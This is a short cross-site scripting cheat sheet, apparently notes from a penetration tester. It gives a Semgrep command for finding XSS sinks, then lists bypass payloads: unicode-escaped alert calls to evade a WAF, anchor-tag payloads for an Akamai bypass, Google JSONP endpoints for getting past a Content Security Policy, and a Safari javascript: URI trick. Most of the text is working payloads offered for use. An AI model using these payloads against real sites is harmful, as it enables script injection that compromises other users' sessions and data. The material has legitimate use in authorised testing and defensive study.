Semgrep
Semgrep can be used to detect sink and sources and assist in XSS detection.
Usage
Download javascript files and beautify them (See Javascript), then run semgrep with
semgrep -c xss.yaml scripts/*
Hold down!
Javascript files must be beautified, otherwise semgrep will no work properly.

Markdown
Markdown parsers can lead to XSS
Bypass
Try to encode characters with unicode to achieve WAF bypass
alert(1) would become ale\u{72}t(1\x29, where
\u{72} is unicode to r \x29 is unicode to )
Akamai Bypass
Sometimes works:
"><a/\test="%26quot"href=%27javascript:/**/;\ale\u{72}t(11111\x29");%27>Click
"><a/\test="%26quot;x%26quot;"href=%27javascript:/**/;location.assign("google.com")%27>Click</a>
CSP Bypass
If the site has google whitelisted, the following could be used:
www.google.com/complete/search?client=chrome&q=1&jsonp=alert(1)//
accounts.google.com/o/oauth2/revoke?callback=alert(1)
Safari
javascript://trusted.example.com/%0Aalert()
